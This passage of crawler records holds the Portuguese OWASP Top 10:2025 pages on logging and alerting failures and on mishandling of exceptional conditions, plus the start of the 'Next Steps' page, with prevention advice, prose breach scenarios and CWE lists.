Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [CWE-926 Improper Export of Android Application Components](https://cwe.mitre.org/data/definitions/926.html)", "znaku_textu": 7999, "slov": 992, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:10", "sha256": "e55f8b4170d373f2890d7dcaa46d282452b71e26cc129c91b277cd7fe9e1c964", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/federicodotta/Java-Deserialization-Scanner", "https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://about.codecov.io/security-update", "https://www.manning.com/books/securing-devops", "https://tenendo.com/insecure-deserialization/", "https://cwe.mitre.org/data/definitions/345.html", "https://cwe.mitre.org/data/definitions/353.html", "https://cwe.mitre.org/data/definitions/426.html", "https://cwe.mitre.org/data/definitions/427.html", "https://cwe.mitre.org/data/definitions/494.html", "https://cwe.mitre.org/data/definitions/502.html", "https://cwe.mitre.org/data/definitions/506.html", "https://cwe.mitre.org/data/definitions/509.html", "https://cwe.mitre.org/data/definitions/565.html", "https://cwe.mitre.org/data/definitions/784.html", "https://cwe.mitre.org/data/definitions/829.html", "https://cwe.mitre.org/data/definitions/830.html", "https://cwe.mitre.org/data/definitions/915.html", "https://cwe.mitre.org/data/definitions/926.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/A09_2025-Security_Logging_and_Alerting_Failures/", "titulek": "A09 Falhas de Registro e Monitoramento de Segurança - OWASP Top 10:2025", "h1": "A09:2025 – Falhas de Registro e Monitoramento de Segurança", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/A09_2025-Security_Logging_and_Alerting_Failures/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A09:2025 – Falhas de Registro e Monitoramento de Segurança"}, {"uroven": 2, "text": "Contexto"}, {"uroven": 2, "text": "Tabela de Pontuação"}, {"uroven": 2, "text": "Descrição"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Cenários de Exemplo de Ataque"}, {"uroven": 2, "text": "Referências"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A09:2025 – Falhas de Registro e Monitoramento de Segurança\n\n## Contexto\n\n**Falhas de Registro e Monitoramento de Segurança** (Security Logging & Alerting Failures) mantém sua posição em 9º lugar. Esta categoria teve uma leve mudança de nome para enfatizar a função de alerta necessária para induzir ações em eventos de *log* relevantes. Esta categoria estará sempre sub-representada nos dados e, pela terceira vez, foi votada para uma posição na lista pelos participantes da pesquisa da comunidade. É uma categoria incrivelmente difícil de testar e possui representação mínima nos dados de CVE/CVSS (apenas 723 CVEs); porém, pode ter um grande impacto na visibilidade, no alerta de incidentes e na perícia forense. Esta categoria inclui problemas com o *tratamento adequado da codificação de saída para arquivos de log (CWE-117), inserção de dados sensíveis em arquivos de log (CWE-532) e registros insuficientes (CWE-778).*\n\n## Tabela de Pontuação\n\n| CWEs Mapeadas | Taxa Máx. de Incidência | Taxa Média de Incidência | Cobertura Máxima | Cobertura Média | Exploit Médio Ponderado | Impacto Médio Ponderado | Total de Ocorrências | Total de CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 5 | 11,33% | 3,91% | 85,96% | 46,48% | 7,19 | 2,65 | 260.288 | 723 |\n\n## Descrição\n\nSem registro e monitoramento, ataques e violações não podem ser detectados, e sem alertas é muito difícil responder de forma rápida e eficaz durante um incidente de segurança. Registro, monitoramento contínuo, detecção e alertas insuficientes para iniciar respostas ativas ocorrem sempre que:\n\n- Eventos auditáveis, como logins, falhas de login e transações de alto valor, não são registrados ou são registrados de forma inconsistente (por exemplo, registrando apenas logins bem-sucedidos, mas não tentativas falhas).\n- Avisos e erros geram mensagens de *log* inexistentes, inadequadas ou confusas.\n- A integridade dos *logs* não é devidamente protegida contra adulteração.\n- *Logs* de aplicações e APIs não são monitorados em busca de atividades suspeitas.\n- Os *logs* são armazenados apenas localmente e não possuem backup adequado.\n- Limiares de alerta e processos de escalonamento de resposta apropriados não estão estabelecidos ou não são eficazes. Os alertas não são recebidos ou revisados em um tempo razoável.\n- Testes de invasão ( *penetration testing* ) e varreduras por ferramentas de testes dinâmicos de segurança de aplicações (DAST), como Burp ou ZAP, não disparam alertas.\n- A aplicação não consegue detectar, escalar ou alertar sobre ataques ativos em tempo real ou próximo ao tempo real.\n- Você está vulnerável ao vazamento de informações sensíveis ao tornar eventos de registro e alerta visíveis para um usuário ou atacante (veja [A01:2025-Controle de Acesso Quebrado](../A01_2025-Broken_Access_Control/) ), ou ao registrar informações sensíveis que não deveriam ser gravadas (como PII ou PHI).\n- Você está vulnerável a injeções ou ataques nos sistemas de registro ou monitoramento se os dados de *log* não forem codificados corretamente.\n- A aplicação omite ou trata incorretamente erros e outras condições excepcionais, de modo que o sistema não percebe que houve um erro e, portanto, não consegue registrar que houve um problema.\n- \"Casos de uso\" adequados para emissão de alertas estão ausentes ou desatualizados para reconhecer uma situação especial.\n- O excesso de alertas falsos positivos impossibilita distinguir alertas importantes de irrelevantes, resultando em detecções tardias ou inexistentes (sobrecarga física da equipe do SOC).\n- Alertas detectados não podem ser processados corretamente porque o *playbook* para o caso de uso está incompleto, desatualizado ou ausente.\n\n## Como Prevenir\n\nOs desenvolvedores devem implementar alguns ou todos os seguintes controles, dependendo do risco da aplicação:\n\n- Garantir que todas as falhas de login, controle de acesso e validação de entrada no lado do servidor possam ser registradas com contexto de usuário suficiente para identificar contas suspeitas ou maliciosas, e mantidas por tempo suficiente para permitir análises forenses posteriores.\n- Garantir que cada parte do seu app que contenha um controle de segurança gere um *log* , independentemente de sucesso ou falha.\n- Garantir que os *logs* sejam gerados em um formato que as soluções de gerenciamento de *logs* possam consumir facilmente.\n- Garantir que os dados de *log* sejam codificados corretamente para evitar injeções ou ataques aos sistemas de registro ou monitoramento.\n- Garantir que todas as transações tenham uma trilha de auditoria com controles de integridade para evitar adulteração ou exclusão, como tabelas de banco de dados do tipo *append-only* ou similares.\n- Garantir que todas as transações que lancem um erro sofram *rollback* e sejam reiniciadas. Sempre utilize a falha segura ( *fail closed* ).\n- Se sua aplicação ou seus usuários se comportarem de forma suspeita, emita um alerta. Crie diretrizes para seus desenvolvedores sobre este tema para que possam codificar prevendo isso ou adquira um sistema para este fim.\n- As equipes de DevSecOps e segurança devem estabelecer casos de uso eficazes de monitoramento e alerta, incluindo *playbooks* , para que atividades suspeitas sejam detectadas e respondidas rapidamente pela equipe do Centro de Operações de Segurança (SOC).\n- Adicione ‘honeytokens’ como armadilhas para atacantes em sua aplicação, ex: no banco de dados, nos dados, ou como identidades de usuários reais e/ou técnicas. Como não são usados no fluxo normal de negócio, qualquer acesso gera dados de *log* que podem disparar alertas com quase zero falsos positivos.\n- A análise de comportamento e o suporte de IA podem ser, opcionalmente, técnicas adicionais para apoiar baixas taxas de falsos positivos em alertas.\n- Estabeleça ou adote um plano de resposta e recuperação de incidentes, como o NIST 800-61r2 ou posterior. Ensine seus desenvolvedores de software como são os ataques e incidentes em aplicações, para que saibam reportá-los.\n\nExistem produtos comerciais e de código aberto para proteção de aplicações, como o OWASP ModSecurity Core Rule Set, e softwares de correlação de *logs* de código aberto, como a stack Elasticsearch, Logstash, Kibana (ELK), que apresentam painéis personalizados e alertas que podem ajudar a combater esses problemas. Também existem ferramentas comerciais de observabilidade que podem ajudar a responder ou bloquear ataques em tempo quase real.\n\n## Cenários de Exemplo de Ataque\n\n**Cenário 1:** O operador do site de um provedor de planos de saúde infantil não conseguiu detectar uma invasão devido à falta de monitoramento e registros. Uma parte externa informou ao provedor que um atacante havia acessado e modificado milhares de registros de saúde sensíveis de mais de 3,5 milhões de crianças. Uma revisão pós-incidente descobriu que os desenvolvedores do site não haviam corrigido vulnerabilidades significativas. Como não havia registro ou monitoramento do sistema, o vazamento de dados poderia estar em andamento desde 2013, um período de mais de sete anos.\n\n**Cenário 2:** Uma grande companhia aérea indiana sofreu um vazamento de dados envolvendo mais de dez anos de dados pessoais de milhões de passageiros, incluindo dados de passaporte e cartão de crédito. O vazamento ocorreu em um provedor de hospedagem em nuvem terceirizado, que notificou a companhia aérea sobre a violação após algum tempo.\n\n**Cenário 3:** Uma grande companhia aérea europeia sofreu uma violação passível de notificação pelo GDPR. O vazamento foi supostamente causado por vulnerabilidades de segurança em uma aplicação de pagamento exploradas por atacantes, que coletaram mais de 400.000 registros de pagamento de clientes. Como resultado, a companhia aérea foi multada em 20 milhões de libras pelo regulador de privacidade.\n\n## Referências\n\n- [OWASP Proactive Controls: C9: Implement Logging and Monitoring](https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/)\n- [OWASP Application Security Verification Standard: V16 Security Logging and Error Handling](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md)\n- [OWASP Cheat Sheet: Application Logging Vocabulary](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [Data Integrity: Recovering from Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-11/final)\n- [Data Integrity: Identifying and Protecting Assets Against Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-25/final)\n- [Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-26/final)\n- [Real world example of such failures in Snowflake Breach](https://www.huntress.com/threat-library/data-breach/snowflake-data-breach)\n\n## Lista de CWEs Mapeadas\n\n- [CWE-117 Improper Output Neutralization for Logs](https://cwe.mitre.org/data/definitions/117.html)\n- [CWE-221 Information Loss of Omission](https://cwe.mitre.org/data/definitions/221.html)\n- [CWE-223 Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-532 Insertion of Sensitive Information into Log File](https://cwe.mitre.org/data/definitions/532.html)\n- [CWE-778 Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 9319, "slov": 1285, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:12", "sha256": "045d0f1c41db0d4d84dd02d3955526586cfc6f5862327436b91e56ce3f700859", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://csrc.nist.gov/publications/detail/sp/1800-11/final", "https://csrc.nist.gov/publications/detail/sp/1800-25/final", "https://csrc.nist.gov/publications/detail/sp/1800-26/final", "https://www.huntress.com/threat-library/data-breach/snowflake-data-breach", "https://cwe.mitre.org/data/definitions/117.html", "https://cwe.mitre.org/data/definitions/221.html", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/532.html", "https://cwe.mitre.org/data/definitions/778.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/A10_2025-Mishandling_of_Exceptional_Conditions/", "titulek": "A10 Tratamento Incorreto de Condições Excepcionais - OWASP Top 10:2025", "h1": "A10:2025 – Tratamento Incorreto de Condições Excepcionais", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/A10_2025-Mishandling_of_Exceptional_Conditions/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A10:2025 – Tratamento Incorreto de Condições Excepcionais"}, {"uroven": 2, "text": "Contexto"}, {"uroven": 2, "text": "Tabela de Pontuação"}, {"uroven": 2, "text": "Descrição"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Cenários de Exemplo de Ataque"}, {"uroven": 2, "text": "Referências"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A10:2025 – Tratamento Incorreto de Condições Excepcionais\n\n## Contexto\n\n**Tratamento Incorreto de Condições Excepcionais** (Mishandling of Exceptional Conditions) é uma categoria nova para 2025. Esta categoria contém 24 CWEs e foca em tratamento de erros inadequado, erros lógicos, falhas abertas (*failing open*) e outros cenários relacionados decorrentes de condições anormais que os sistemas podem encontrar. Esta categoria possui algumas CWEs que anteriormente eram associadas à má qualidade de código. Isso era geral demais para nós; em nossa opinião, esta categoria mais específica fornece uma orientação melhor.\n\nCWEs notáveis incluídas nesta categoria: *CWE-209 Geração de Mensagem de Erro Contendo Informações Sensíveis, CWE-234 Falha ao Tratar Parâmetro Ausente, CWE-274 Tratamento Incorreto de Privilégios Insuficientes, CWE-476 Desreferência de Ponteiro NULO* e *CWE-636 Falha em Falhar de Forma Segura ('Failing Open')*.\n\n## Tabela de Pontuação\n\n| CWEs Mapeadas | Taxa Máx. de Incidência | Taxa Média de Incidência | Cobertura Máxima | Cobertura Média | Exploit Médio Ponderado | Impacto Médio Ponderado | Total de Ocorrências | Total de CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 20,67% | 2,95% | 100,00% | 37,95% | 7,11 | 3,81 | 769.581 | 3.416 |\n\n## Descrição\n\nO tratamento incorreto de condições excepcionais em software acontece quando os programas falham em prevenir, detectar e responder a situações incomuns e imprevisíveis, o que leva a travamentos (*crashes*), comportamentos inesperados e, às vezes, vulnerabilidades. Isso pode envolver uma ou mais das três falhas a seguir: a aplicação não evita que uma situação incomum aconteça, não identifica a situação enquanto ela ocorre e/ou responde mal ou não responde de forma alguma à situação posteriormente.\n\nCondições excepcionais podem ser causadas por validação de entrada ausente, fraca ou incompleta; tratamento de erros de alto nível tardio em vez de ocorrer nas funções onde eles surgem; estados ambientais inesperados, como problemas de memória, privilégio ou rede; tratamento de exceções inconsistente; ou exceções que não são tratadas de forma alguma, permitindo que o sistema caia em um estado desconhecido e imprevisível. Sempre que uma aplicação não tem certeza de sua próxima instrução, uma condição excepcional foi tratada incorretamente. Erros e exceções difíceis de encontrar podem ameaçar a segurança de toda a aplicação por um longo tempo.\n\nMuitas vulnerabilidades de segurança diferentes podem ocorrer quando tratamos incorretamente condições excepcionais, como *bugs* de lógica, *overflows*, condições de corrida (*race conditions*), transações fraudulentas ou problemas com memória, estado, recurso, tempo, autenticação e autorização. Esses tipos de vulnerabilidades podem afetar negativamente a confidencialidade, disponibilidade e/ou integridade de um sistema ou de seus dados. Atacantes manipulam o tratamento de erros falho de uma aplicação para explorar essa vulnerabilidade.\n\n## Como Prevenir\n\nPara tratar uma condição excepcional adequadamente, devemos planejar para tais situações (esperar o pior). Devemos \"capturar\" (*catch*) cada erro de sistema possível diretamente no local onde ocorrem e, então, tratá-lo (o que significa fazer algo significativo para resolver o problema e garantir a recuperação da falha). Como parte do tratamento, devemos incluir o lançamento de um erro (para informar o usuário de forma compreensível), o registro do evento (*log*), bem como a emissão de um alerta se considerarmos justificado. Também devemos ter um manipulador de exceções global para o caso de algo ter passado despercebido. Idealmente, também teríamos ferramentas ou funcionalidades de monitoramento e/ou observabilidade que vigiam erros repetidos ou padrões que indiquem um ataque em andamento, podendo emitir uma resposta, defesa ou bloqueio de algum tipo. Isso pode nos ajudar a bloquear e responder a scripts e bots que focam em nossas fraquezas de tratamento de erros.\n\nCapturar e tratar condições excepcionais garante que a infraestrutura subjacente de nossos programas não seja deixada para lidar com situações imprevisíveis. Se você estiver no meio de uma transação de qualquer tipo, é extremamente importante realizar o *rollback* de cada parte da transação e começar de novo (também conhecido como falha segura ou *failing closed*). Tentar recuperar uma transação pela metade é frequentemente onde criamos erros irrecuperáveis.\n\nSempre que possível, adicione limites de taxa (*rate limiting*), cotas de recursos, *throttling* e outras restrições para prevenir condições excepcionais antes de tudo. Nada em tecnologia da informação deve ser ilimitado, pois isso leva à falta de resiliência da aplicação, negação de serviço, ataques de força bruta bem-sucedidos e faturas de nuvem extraordinárias.\n\nConsidere se erros repetidos idênticos, acima de uma certa taxa, devem ser exibidos apenas como estatísticas mostrando a frequência com que ocorreram e em qual período. Esta informação deve ser anexada à mensagem original para não interferir no registro e monitoramento automatizados, veja [A09:2025 Falhas de Registro e Monitoramento de Segurança](../A09_2025-Security_Logging_and_Alerting_Failures/).\n\nAlém disso, queremos incluir uma validação de entrada rigorosa (com sanitização ou *escaping* para caracteres potencialmente perigosos que precisamos aceitar) e um tratamento de erros, registro, monitoramento e alerta *centralizados*, além de um manipulador de exceções global. Uma aplicação não deve ter múltiplas funções para tratar condições excepcionais; isso deve ser realizado em um único lugar, da mesma forma todas as vezes. Também devemos criar requisitos de segurança de projeto para todos os conselhos desta seção, realizar atividades de modelagem de ameaças e/ou revisão de design seguro na fase de design de nossos projetos, realizar revisão de código ou análise estática, bem como executar testes de estresse, desempenho e invasão do sistema final.\n\nSe possível, toda a sua organização deve tratar condições excepcionais da mesma maneira, pois isso facilita a revisão e a auditoria de código em busca de erros neste importante controle de segurança.\n\n## Cenários de Exemplo de Ataque\n\n**Cenário 1:** Exaustão de recursos via tratamento incorreto de condições excepcionais (Negação de Serviço) poderia ser causada se a aplicação captura exceções quando arquivos são carregados, mas não libera adequadamente os recursos depois. Cada nova exceção deixa recursos bloqueados ou indisponíveis, até que todos os recursos sejam esgotados.\n\n**Cenário 2:** Exposição de dados sensíveis via tratamento inadequado ou erros de banco de dados que revelam o erro completo do sistema ao usuário. O atacante continua a forçar erros para usar as informações sensíveis do sistema para criar um ataque de *SQL injection* melhor. Os dados sensíveis nas mensagens de erro do usuário servem como reconhecimento (*reconnaissance*).\n\n**Cenário 3:** Corrupção de estado em transações financeiras poderia ser causada por um atacante interrompendo uma transação de múltiplas etapas via interrupções de rede. Imagine que a ordem da transação fosse: debitar conta do usuário, creditar conta de destino, registrar transação. Se o sistema não realizar o *rollback* adequadamente de toda a transação (falha segura) quando houver um erro no meio do caminho, o atacante poderia potencialmente esvaziar a conta do usuário, ou possivelmente gerar uma condição de corrida que permita ao atacante enviar dinheiro para o destino várias vezes.\n\n## Referências\n\nOWASP MASVS‑RESILIENCE\n\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Error Handling](https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html)\n- [OWASP Application Security Verification Standard (ASVS): V16.5 Error Handling](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md#v165-error-handling)\n- [OWASP Testing Guide: 4.8.1 Testing for Error Handling](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Best practices for exceptions (Microsoft, .Net)](https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions)\n- [Clean Code and the Art of Exception Handling (Toptal)](https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling)\n- [General error handling rules (Google for Developers)](https://developers.google.com/tech-writing/error-messages/error-handling)\n- [Example of real-world mishandling of an exceptional condition](https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/)\n\n## Lista de CWEs Mapeadas\n\n- [CWE-209 Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE-215 Insertion of Sensitive Information Into Debugging Code](https://cwe.mitre.org/data/definitions/215.html)\n- [CWE-234 Failure to Handle Missing Parameter](https://cwe.mitre.org/data/definitions/234.html)\n- [CWE-235 Improper Handling of Extra Parameters](https://cwe.mitre.org/data/definitions/235.html)\n- [CWE-248 Uncaught Exception](https://cwe.mitre.org/data/definitions/248.html)\n- [CWE-252 Unchecked Return Value](https://cwe.mitre.org/data/definitions/252.html)\n- [CWE-274 Improper Handling of Insufficient Privileges](https://cwe.mitre.org/data/definitions/274.html)\n- [CWE-280 Improper Handling of Insufficient Permissions or Privileges](https://cwe.mitre.org/data/definitions/280.html)\n- [CWE-369 Divide By Zero](https://cwe.mitre.org/data/definitions/369.html)\n- [CWE-390 Detection of Error Condition Without Action](https://cwe.mitre.org/data/definitions/390.html)\n- [CWE-391 Unchecked Error Condition](https://cwe.mitre.org/data/definitions/391.html)\n- [CWE-394 Unexpected Status Code or Return Value](https://cwe.mitre.org/data/definitions/394.html)\n- [CWE-396 Declaration of Catch for Generic Exception](https://cwe.mitre.org/data/definitions/396.html)\n- [CWE-397 Declaration of Throws for Generic Exception](https://cwe.mitre.org/data/definitions/397.html)\n- [CWE-460 Improper Cleanup on Thrown Exception](https://cwe.mitre.org/data/definitions/460.html)\n- [CWE-476 NULL Pointer Dereference](https://cwe.mitre.org/data/definitions/476.html)\n- [CWE-478 Missing Default Case in Multiple Condition Expression](https://cwe.mitre.org/data/definitions/478.html)\n- [CWE-484 Omitted Break Statement in Switch](https://cwe.mitre.org/data/definitions/484.html)\n- [CWE-550 Server-generated Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/550.html)\n- [CWE-636 Not Failing Securely ('Failing Open')](https://cwe.mitre.org/data/definitions/636.html)\n- [CWE-703 Improper Check or Handling of Exceptional Conditions](https://cwe.mitre.org/data/definitions/703.html)\n- [CWE-754 Improper Check for Unusual or Exceptional Conditions](https://cwe.mitre.org/data/definitions/754.html)\n- [CWE-755 Improper Handling of Exceptional Conditions](https://cwe.mitre.org/data/definitions/755.html)\n- [CWE-756 Missing Custom Error Page](https://cwe.mitre.org/data/definitions/756.html)", "znaku_textu": 11123, "slov": 1374, "odkazu": 67, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:12", "sha256": "c1bff887d3159786dc4f1e540bf3a738807fd848e2aecb776880d02806fcff18", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions", "https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling", "https://developers.google.com/tech-writing/error-messages/error-handling", "https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/215.html", "https://cwe.mitre.org/data/definitions/234.html", "https://cwe.mitre.org/data/definitions/235.html", "https://cwe.mitre.org/data/definitions/248.html", "https://cwe.mitre.org/data/definitions/252.html", "https://cwe.mitre.org/data/definitions/274.html", "https://cwe.mitre.org/data/definitions/280.html", "https://cwe.mitre.org/data/definitions/369.html", "https://cwe.mitre.org/data/definitions/390.html", "https://cwe.mitre.org/data/definitions/391.html", "https://cwe.mitre.org/data/definitions/394.html", "https://cwe.mitre.org/data/definitions/396.html", "https://cwe.mitre.org/data/definitions/397.html", "https://cwe.mitre.org/data/definitions/460.html", "https://cwe.mitre.org/data/definitions/476.html", "https://cwe.mitre.org/data/definitions/478.html", "https://cwe.mitre.org/data/definitions/484.html", "https://cwe.mitre.org/data/definitions/550.html", "https://cwe.mitre.org/data/definitions/636.html", "https://cwe.mitre.org/data/definitions/703.html", "https://cwe.mitre.org/data/definitions/754.html", "https://cwe.mitre.org/data/definitions/755.html", "https://cwe.mitre.org/data/definitions/756.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/X01_2025-Next_Steps/", "titulek": "Próximos Passos - OWASP Top 10:2025", "h1": "Próximos Passos", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/X01_2025-Next_Steps/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Próximos Passos"}, {"uroven": 2, "text": "X01:2025 – Falta de Resiliência da Aplicação"}, {"uroven": 3, "text": "Contexto"}, {"uroven": 3, "text": "Tabela de Pontuação"}, {"uroven": 3, "text": "Descrição"}, {"uroven": 3, "text": "Como Prevenir"}, {"uroven": 2, "text": "X02:2025 – Falhas de Gerenciamento de Memória"}, {"uroven": 3, "text": "Contexto"}, {"uroven": 3, "text": "Descrição"}, {"uroven": 3, "text": "Como Prevenir"}, {"uroven": 2, "text": "X03:2025 – Confiança Inapropriada em Código Gerado por IA ('Vibe Coding')"}, {"uroven": 3, "text": "Contexto"}, {"uroven": 3, "text": "Descrição"}, {"uroven": 3, "text": "Como Prevenir"}], "markdown": "# Próximos Passos\n\nPor design, o OWASP Top 10 é inatamente limitado aos dez riscos mais significativos. Todo OWASP Top 10 possui riscos \"no limiar\" que são considerados extensivamente para inclusão, mas que, ao final, não entraram na lista. Os demais riscos eram mais prevalentes e impactantes.\n\nOs três problemas a seguir valem bem o esforço de identificação e remediação para organizações que buscam um programa de AppSec maduro, consultorias de segurança ou fornecedores de ferramentas que desejam expandir a cobertura de suas ofertas.\n\n---\n\n## X01:2025 – Falta de Resiliência da Aplicação\n\n### Contexto\n\nEste é um renomeio do item Negação de Serviço (Denial of Service) de 2021. O nome foi alterado porque descrevia um sintoma em vez de uma causa raiz. Esta categoria foca em CWEs que descrevem fraquezas relacionadas a problemas de resiliência. A pontuação desta categoria foi muito próxima da [A10:2025-Tratamento Incorreto de Condições Excepcionais](../A10_2025-Mishandling_of_Exceptional_Conditions/). CWEs relevantes incluem: *CWE-400 Consumo Descontrolado de Recursos, CWE-409 Tratamento Incorreto de Dados Altamente Compactados (Amplificação de Dados), CWE-674 Recursão Descontrolada* e *CWE-835 Loop com Condição de Saída Inalcançável ('Loop Infinito').*\n\n### Tabela de Pontuação\n\n[Mesmos valores da tabela original: 16 CWEs, Incidência Média 4,55%, Total de Ocorrências 865.066, etc.]\n\n### Descrição\n\nEsta categoria representa uma fraqueza sistêmica na forma como as aplicações respondem ao estresse, falhas e casos extremos, resultando na incapacidade de se recuperar de uma falha. Quando uma aplicação não lida adequadamente, não resiste ou não se recupera de condições inesperadas, restrições de recursos e outros eventos adversos, isso pode facilmente resultar em problemas de disponibilidade (mais comum), mas também em corrupção de dados, divulgação de dados sensíveis, falhas em cascata e/ou *bypass* de controles de segurança.\n\nAlém disso, a categoria X02:2025 Falhas de Gerenciamento de Memória também pode levar à falha da aplicação ou até de todo o sistema.\n\n### Como Prevenir\n\nPara prevenir este tipo de vulnerabilidade, você deve projetar seus sistemas prevendo falhas e recuperação.\n\n- Adicione limites, cotas e funcionalidades de *failover* , dando atenção especial às operações que mais consomem recursos.\n- Identifique páginas que demandam muitos recursos e planeje com antecedência: reduza a superfície de ataque, especialmente não expondo \"gadgets\" e funções desnecessárias que exijam muitos recursos (ex: CPU, memória) a usuários desconhecidos ou não confiáveis.\n- Realize uma validação de entrada rigorosa com *allow-lists* e limitações de tamanho, e então teste exaustivamente.\n- Limite os tamanhos das respostas e nunca envie respostas brutas de volta ao cliente (processe no lado do servidor).\n- Padrão para seguro/fechado ( *fail closed* ), negue por padrão e realize *rollback* se houver um erro.\n- Evite chamadas síncronas bloqueantes em threads de requisição (use assíncrono/não bloqueante, estabeleça *timeouts* , limites de concorrência, etc.).\n- Teste cuidadosamente sua funcionalidade de tratamento de erros.\n- Implemente padrões de resiliência como *circuit breakers* , *bulkheads* , lógica de retentativa ( *retry* ) e degradação suave ( *graceful degradation* ).\n- Realize testes de desempenho e carga; adicione engenharia de caos ( *chaos engineering* ) se tiver apetite ao risco para isso.\n- Implemente e projete arquiteturas visando redundância onde for razoável e financeiramente viável.\n- Implemente monitoramento, observabilidade e alertas.\n- Filtre endereços de remetentes inválidos de acordo com a RFC 2267.\n- Bloqueie *botnets* conhecidas por impressões digitais ( *fingerprints* ), IPs ou dinamicamente por comportamento.\n- Prova de Trabalho ( *Proof-of-Work* ): inicie operações que consomem recursos no lado do *atacante* , o que não impacta grandes usuários normais, mas afeta bots que tentam enviar uma quantidade enorme de requisições.\n- Limite o tempo de sessão no servidor baseado em inatividade e um *timeout* final.\n\n---\n\n## X02:2025 – Falhas de Gerenciamento de Memória\n\n### Contexto\n\nLinguagens como Java, C#, 